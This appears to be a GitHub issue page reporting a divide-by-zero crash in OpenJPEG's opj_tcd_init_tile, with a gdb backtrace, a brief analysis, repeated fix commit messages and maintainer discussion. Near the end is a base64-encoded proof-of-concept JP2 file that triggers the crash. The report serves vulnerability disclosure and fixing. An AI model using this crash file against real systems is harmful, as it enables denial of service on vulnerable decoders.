-
Notifications
You must be signed in to change notification settings - Fork 461
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
division-by-zero (SIGFPE) error in opj_tcd_init_tile function (line 730 of tcd.c) #733
Comments
The maximum supported data size is a limiting factor for the maximum size of allowed images. As it is possible to allocate size_t bytes, this data type must also be used for the data size. This modification also fixes issue uclouvain#432. That file is now decoded on 64 bit hosts with enough RAM, so the regression test had to be fixed. Until it is possible to use different test cases for 32 and 64 bit hosts, the test for issue uclouvain#432 is disabled. Handle also a potential division by zero when l_data_size is 0. This fixes issue uclouvain#733. Update also some comments in the test suite. Signed-off-by: Stefan Weil <[email protected]>
@stweil Thanks for your patch. It works fine. |
@stweil, I saw what you did in your PR. I'd rather merge only one change. Now, regarding this specific check, it'll stop processing with "allocation failed" (malloc(0) = NULL). I don't know if Zero size tile data is legal or not (e.g. border tile with subsample components might lead to zero size tile => is that legal ?). Maybe @detonin can shed some light on this. If it's legal, I'd stick with what I just merged. If it's not legal, then your approach would be better. |
Just tell me when you need a separate PR for the |
The maximum supported data size is a limiting factor for the maximum size of allowed images. As it is possible to allocate size_t bytes, this data type must also be used for the data size. This modification also fixes issue uclouvain#432. That file is now decoded on 64 bit hosts with enough RAM, so the regression test had to be fixed. Until it is possible to use different test cases for 32 and 64 bit hosts, the test for issue uclouvain#432 is disabled. Handle also a potential division by zero when l_data_size is 0. This fixes issue uclouvain#733. Update also some comments in the test suite. Signed-off-by: Stefan Weil <[email protected]>
The maximum supported data size is a limiting factor for the maximum size of allowed images. As it is possible to allocate size_t bytes, this data type must also be used for the data size. This modification also fixes issue uclouvain#432. That file is now decoded on 64 bit hosts with enough RAM, so the regression test had to be fixed. Until it is possible to use different test cases for 32 and 64 bit hosts, the test for issue uclouvain#432 is disabled. Handle also a potential division by zero when l_data_size is 0. This fixes issue uclouvain#733. Update also some comments in the test suite. Signed-off-by: Stefan Weil <[email protected]>
The maximum supported data size is a limiting factor for the maximum size of allowed images. As it is possible to allocate size_t bytes, this data type must also be used for the data size. This modification also fixes issue uclouvain#432. That file is now decoded on 64 bit hosts with enough RAM, so the regression test had to be fixed. Until it is possible to use different test cases for 32 and 64 bit hosts, the test for issue uclouvain#432 is disabled. Handle also a potential division by zero when l_data_size is 0. This fixes issue uclouvain#733. Update also some comments in the test suite. Signed-off-by: Stefan Weil <[email protected]>
The maximum supported data size is a limiting factor for the maximum size of allowed images. As it is possible to allocate size_t bytes, this data type must also be used for the data size. This modification also fixes issue uclouvain#432. That file is now decoded on 64 bit hosts with enough RAM, so the regression test had to be fixed. Until it is possible to use different test cases for 32 and 64 bit hosts, the test for issue uclouvain#432 is disabled. Handle also a potential division by zero when l_data_size is 0. This fixes issue uclouvain#733. Update also some comments in the test suite. Signed-off-by: Stefan Weil <[email protected]>
The maximum supported data size is a limiting factor for the maximum size of allowed images. As it is possible to allocate size_t bytes, this data type must also be used for the data size. This modification also fixes issue uclouvain#432. That file is now decoded on 64 bit hosts with enough RAM, so the regression test had to be fixed. Until it is possible to use different test cases for 32 and 64 bit hosts, the test for issue uclouvain#432 is disabled. Handle also a potential division by zero when l_data_size is 0. This fixes issue uclouvain#733. Update also some comments in the test suite. Signed-off-by: Stefan Weil <[email protected]>
Testing Environment
Ubuntu + OpenJPEG (GitHub master, 2016/03/28)
Exception Information
username@ubuntu:~/Desktop/openjpeg/bin$ gdb opj_decompress -q
Reading symbols from opj_decompress...done.
(gdb) r -o image.pgm -i crashes/001.jp2
Starting program: ~/Desktop/openjpeg/bin/opj_decompress -o image.pgm -i crashes/001.jp2
[INFO] Start to read j2k main header (131).
[INFO] Main header has been correctly decoded.
[INFO] No decoded area parameters, set the decoded area to the whole image
Program received signal SIGFPE, Arithmetic exception.
0xb7fc446d in opj_tcd_init_tile (p_tcd=0x8062850, p_tile_no=0, isEncoder=0,
fraction=0.5, sizeof_block=56, manager=0x80601e4)
at ~/Desktop/openjpeg/src/lib/openjp2/tcd.c:730
730 if ((((OPJ_UINT32)-1) / l_data_size) < (OPJ_UINT32)(l_tilec->y1 - l_tilec->y0)) {
(gdb) p l_data_size
$1 = 0
(gdb) bt
#0 0xb7fc446d in opj_tcd_init_tile (p_tcd=0x8062850, p_tile_no=0, isEncoder=0,
#1 0xb7fc571b in opj_tcd_init_decode_tile (p_tcd=0x8062850, p_tile_no=0,
#2 0xb7fa80be in opj_j2k_read_tile_header (p_j2k=0x8060298, p_tile_index=0xbfff9e84,
#3 0xb7fac298 in opj_j2k_decode_tiles (p_j2k=0x8060298, p_stream=0x8060170,
#4 0xb7fa661e in opj_j2k_exec (p_j2k=0x8060298, p_procedure_list=0x8062420,
#5 0xb7facaf9 in opj_j2k_decode (p_j2k=0x8060298, p_stream=0x8060170,
#6 0xb7fb1aad in opj_jp2_decode (jp2=0x8060210, p_stream=0x8060170,
#7 0xb7fb6c79 in opj_decode (p_codec=0x80601b8, p_stream=0x8060170, p_image=0x8062890)
#8 0x0804c2c0 in main (argc=5, argv=0xbffff124)
Simple Analysis
The value of l_data_size is zero.
The code ((OPJ_UINT32)-1)/l_data_size will cause a divide-by-zero exception (SIGFPE).
Proof-of-Concept file
Please decode the following content with base64 algorithm.
Then you should save the decoded content to a jp2 file to generate the PoC.
AAAADGpQICANCocKAAAAFGZ0eXBqcEEgAAAAAGpwMiAAAABbanAyaAAAABZpaGRyAAAAIAAAACAA
BP8HAAAAAAAMYnBjYwQEBAAAAAAPY29scgEAAAAAABAAAAAiY2RlZgAEAAAAAAABpAEAAAACAAIA
AAADAAMAAQAAAAABI2pwMmP/T/9RADIAAAAAACAAAAAgAAAAFAAAAAAAAAAgAAAAIAAAAAAAAAAA
AAQEAQEEIAEEAQEAAQH/UgAMAAAAAQEFBAQAAf9cABNAKDAwODAwODAwODAwODAwOP9kACUAAUNy
ZWF0ZWQgYnkgT3BlbkpQRUcgdmVyc2lvbiAyLjEuMP+QAAoAAAAAAJkAAf+TwQgDz4AQCcOBA4Ch
8AIEp8YIBr+vpBAJ18hAA6PjCAOXpU+vpCALHlIPoeDACzrXgKPkCgDP1Tx/p84cA3/dRtwif6fO
HAN/3VDyfH+AofCKPmKiqS6j5BI9pjRZ2Z4Nooaj4xA9pjRZ2Z4Nv4Cg6MCdlqj4G1+h8I6drClA
9VfWofCMnawpQPlngP/Z
Credit
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.
The text was updated successfully, but these errors were encountered: